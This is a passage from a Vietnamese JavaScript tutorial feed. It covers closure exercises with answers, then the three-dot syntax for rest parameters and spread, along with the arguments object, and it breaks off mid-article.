<span class="token comment">// tạo một function mới</span> <span class="token keyword">let</span> work <span class="token operator">=</span> <span class="token function">makeWorker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi hàm</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi kết quả của <code>worker()</code> là "Alex" hay "Anna"?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: <strong>Alex</strong>.</p> <p>Nested function bên trong hàm <code>makeWorker</code> truy cập tới biến ngoài hàm là <code>name = "Alex"</code>.</p> <p>Dù sau đó, mình có khai báo biến toàn cục <code>let name = "Anna"</code> thì biến <code>name</code> này ở phạm vi khác với biến <code>name</code> trong hàm closure.</p> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>message<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>user<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả sau khi gọi <code>sayHi()</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: Lỗi <strong>Uncaught ReferenceError: sayHi is not defined</strong>.</p> <p>Hàm <code>sayHi</code> được khai báo trong <code>if</code>, nên chỉ được nhìn thấy trong block code của <code>if</code>.</p> </div> </div> </div> <h3 id="bài-4" style="position:relative;"><a href="#b%C3%A0i-4" aria-label="bài 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 4</h3> <p>Viết hàm <code>sum(a)(b)</code> trả về tổng <code>a + b</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">3</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">1</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Để gọi hàm được theo cách <code>sum(a)(b)</code> thì phải sử dụng closure trong JS:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> </div> </div> </div> <h3 id="bài-5" style="position:relative;"><a href="#b%C3%A0i-5" aria-label="bài 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 5</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả <code>(*)</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: Lỗi <strong>Uncaught ReferenceError: Cannot access 'x' before initialization</strong>.</p> <p>Vì trong hàm có <code>let x = 2</code>, nghĩa là biến <code>x</code> có tồn tại trong phạm vi của hàm <code>func</code>. Nhưng bạn không thể truy cập đến biến <code>x</code> trước câu lệnh <code>let x</code>.</p> <p>Trường hợp trong hàm <code>func</code> không có <code>let x = 2</code> thì giá trị của <code>x</code> là giá trị của biến <code>x</code> bên ngoài hàm.</p> </div> </div> </div> <h3 id="bài-6" style="position:relative;"><a href="#b%C3%A0i-6" aria-label="bài 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 6</h3> <p>Cho mảng <code>users</code> sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> users <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Pete"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">20</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Ann"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">24</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ sắp xếp mảng theo <code>name</code> và <code>age</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// theo `name` (Alex, Ann, Pete)</span> users<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span>a<span class="token punctuation">.</span>name <span class="token operator">></span> b<span class="token punctuation">.</span>name <span class="token operator">?</span> <span class="token number">1</span> <span class="token operator">:</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// theo `age` (Pete, Ann, Alex)</span> users<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span>a<span class="token punctuation">.</span>age <span class="token operator">></span> b<span class="token punctuation">.</span>age <span class="token operator">?</span> <span class="token number">1</span> <span class="token operator">:</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thay vì phải viết code lặp lại như trên, hãy viết hàm <code>byField(fieldName)</code> để có thể sử dụng với <code>sort</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">users<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token function">byField</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> users<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token function">byField</span><span class="token punctuation">(</span><span class="token string">"age"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Để viết hàm <code>byField</code>, bạn có thể sử dụng closure trong JS để trả về nested function ứng với mỗi <code>fieldName</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">byField</span><span class="token punctuation">(</span><span class="token parameter">fieldName</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span>a<span class="token punctuation">[</span>fieldName<span class="token punctuation">]</span> <span class="token operator">></span> b<span class="token punctuation">[</span>fieldName<span class="token punctuation">]</span> <span class="token operator">?</span> <span class="token number">1</span> <span class="token operator">:</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Closures/">Closures</a></li> <li><a href="http://javascriptissexy.com/understand-javascript-closures-with-ease/">Understand JavaScript Closures With Ease</a></li> <li><a href="https://javascript.info/closure">Variable scope, closure</a></li> </ul>[email protected]<![CDATA[Dấu ba chấm trong JavaScript]]><![CDATA[Rất nhiều hàm trong JavaScript hỗ trợ truyền vào số lượng tham số không giới hạn, ví dụ: Math.max(arg1, arg2, ..., argN): trả về giá trị lớn nhất của các tham số truyền vào. Object…]]>https://completejavascript.com/dau-ba-cham-trong-javascript/https://completejavascript.com/dau-ba-cham-trong-javascript/<![CDATA[Hàm]]>Tue, 13 Jun 2017 20:30:00 GMT<p>Rất nhiều hàm trong JavaScript hỗ trợ truyền vào <strong>số lượng tham số không giới hạn</strong>, ví dụ:</p> <ul> <li><code>Math.max(arg1, arg2, ..., argN)</code>: trả về giá trị lớn nhất của các tham số truyền vào.</li> <li><code>Object.assign(dest, src1, ..., srcN)</code>: <a href="/copy-object-trong-javascript/">copy các thuộc tính</a> từ object <code>src1...N</code> vào <code>dest</code>.</li> <li>...</li> </ul> <p>Để làm được điều đó, bạn có thể sử dụng <strong>dấu ba chấm trong JavaScript</strong>.</p> <h2 id="tham-số-còn-lại-của-hàm-args" style="position:relative;"><a href="#tham-s%E1%BB%91-c%C3%B2n-l%E1%BA%A1i-c%E1%BB%A7a-h%C3%A0m-args" aria-label="tham số còn lại của hàm args permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham số còn lại của hàm <code>...args</code></h2> <p>Trong JavaScript, một hàm có thể được gọi với <strong>số lượng tham số truyền vào tùy ý</strong>, bất kể hàm đó được định nghĩa như thế nào, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm tính tổng hai số</span> <span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// gọi hàm và truyền vào số lượng tham số lớn hơn định nghĩa</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Hàm <code>sum</code> được định nghĩa gồm hai tham số <code>a</code> và <code>b</code>. Khi gọi hàm, mình đã <strong>truyền vào số lượng tham số nhiều hơn</strong> và không có lỗi xảy ra, mặc dù kết quả vẫn là tổng hai số đầu tiên.</p> <p>Các tham số còn lại của hàm <strong>có thể gom lại thành một mảng</strong> bằng cách sử dụng <strong>dấu ba chấm trong JavaScript</strong>, theo sau bởi <strong>tên của một mảng</strong> chứa các tham số còn lại này.</p> <p>Ví dụ sau gom hết các tham số vào mảng <code>args</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm tính tổng tất cả các tham số truyền vào</span> <span class="token keyword">function</span> <span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// duyệt mảng để tính tổng</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> arg <span class="token keyword">of</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span> sum <span class="token operator">+=</span> arg<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> sum<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể lấy <strong>một vài tham số đầu tiên</strong> thông qua biến. Các tham số còn lại cho vào mảng.</p> <p>Ví dụ sau lấy hai tham số đầu tiên cho vào biến, các tham số còn lại cho vào mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">showName</span><span class="token punctuation">(</span><span class="token parameter">firstName<span class="token punctuation">,</span> lastName<span class="token punctuation">,</span> <span class="token operator">...</span>titles</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lastName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Julius Caesar</span> <span class="token comment">// các biến còn lại được đưa vào mảng</span> <span class="token comment">// ví dụ mảng titles = ["Consul", "Imperator"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>titles<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Consul</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>titles<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Imperator</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>titles<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token punctuation">}</span> <span class="token function">showName</span><span class="token punctuation">(</span><span class="token string">"Julius"</span><span class="token punctuation">,</span> <span class="token string">"Caesar"</span><span class="token punctuation">,</span> <span class="token string">"Consul"</span><span class="token punctuation">,</span> <span class="token string">"Imperator"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> cú pháp dấu ba chấm trong JavaScript để lấy các tham số còn lại của hàm phải đặt ở <strong>cuối danh sách các tham số</strong>.</p> </blockquote> <p>Ví dụ sau sử dụng cú pháp dấu ba chấm ở giữa nên bị lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token parameter">arg1<span class="token punctuation">,</span> <span class="token operator">...</span>rest<span class="token punctuation">,</span> arg2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">//</span> <span class="token punctuation">}</span> <span class="token comment">// Uncaught SyntaxError: Rest parameter must be last formal parameter</span></code></pre></div> <h2 id="đối-tượng-arguments" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments" aria-label="đối tượng arguments permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng <code>arguments</code></h2> <p>Trong hàm có một đối tượng đặc biệt là <code>arguments</code>. Đây là đối tượng kiểu <strong>array-like</strong> và <strong>iterable</strong> chứa tất cả các tham số của hàm xác định bởi chỉ số, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// có thể dùng for...of</span> <span class="token comment">// for (let arg of arguments) {</span> <span class="token comment">// console.log(arg);</span> <span class="token comment">// }</span> <span class="token punctuation">}</span> <span class="token function">sumAll</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* 1 2 3 4 5 */</span></code></pre></div> <p>Khi cú pháp dấu ba chấm trong JavaScript chưa xuất hiện thì <code>arguments</code> là cách được sử dụng để lấy tất cả tham số truyền vào hàm.</p> <p>Tuy nhiên, cách sử dụng <code>arguments</code> có nhược điểm là:</p> <ul> <li><code>arguments</code> là <strong>array-like</strong> nên bạn không thể sử dụng các phương thức của mảng như <code>arguments.map(...)</code>.</li> <li><code>arguments</code> luôn chứa tất cả các tham số của hàm. Bạn không thể chỉ lưu một số tham số như cú pháp dấu ba chấm được.</li> <li><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function</a> không có đối tượng <code>arguments</code>.</li> </ul> <h2 id="cú-pháp-spread" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-spread" aria-label="cú pháp spread permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp spread</h2> <p>Bên trên bạn đã biết cách sử dụng cú pháp dấu ba chấm để lấy một mảng các tham số còn lại trong hàm. Tuy nhiên, nhiều khi bạn cần phải làm <strong>ngược lại</strong>.</p> <p>Ví dụ khi sử dụng hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max">Math.max</a> để trả về giá trị lớn nhất trong các tham số truyền vào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span></code></pre></div> <p>Giả sử, bạn có một mảng <code>[4, 7, 5]</code>. Làm sao để gọi phương thức <code>Math.max</code> với mảng trên?</p> <p>Bạn không thể truyền thẳng một mảng vào hàm vì <code>Math.max</code> không nhận tham số là mảng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <p>Dĩ nhiên, bạn có thể lấy từng phần tử của mảng để truyền vào hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span></code></pre></div> <p>Nhưng vấn đề ở đây là bạn <strong>không biết trước số lượng các phần tử của mảng</strong>. Nên cách làm trên là không hợp lý.</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng <strong>cú pháp spread</strong>.</p> <h3 id="cú-pháp-spread-là-gì" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-spread-l%C3%A0-g%C3%AC" aria-label="cú pháp spread là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 